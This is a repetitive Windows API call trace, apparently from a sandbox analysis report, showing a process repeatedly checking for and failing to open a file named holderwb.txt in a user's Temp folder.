	[0098.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.753] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.753] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.754] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.754] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.754] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.754] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.755] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.755] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.755] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.755] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.755] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.755] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.755] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.755] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.755] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.756] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.756] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.756] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.756] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.756] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.756] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.757] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.757] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.757] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.757] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.757] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.757] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.757] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.758] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.758] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.758] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.758] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.758] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.758] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.758] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.758] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.758] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.759] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.759] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.759] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.759] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.759] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.760] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.760] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.760] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.760] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.761] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.761] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.761] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.761] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.761] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.762] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.762] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.762] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.762] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.762] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.762] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.762] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.795] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.795] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.795] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.795] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.795] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.795] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.795] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.796] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.796] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.796] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.796] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.797] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.797] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.797] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.797] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.797] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.798] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.798] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.798] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.798] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.798] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.798] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.798] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.798] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.799] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.799] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.799] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.799] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
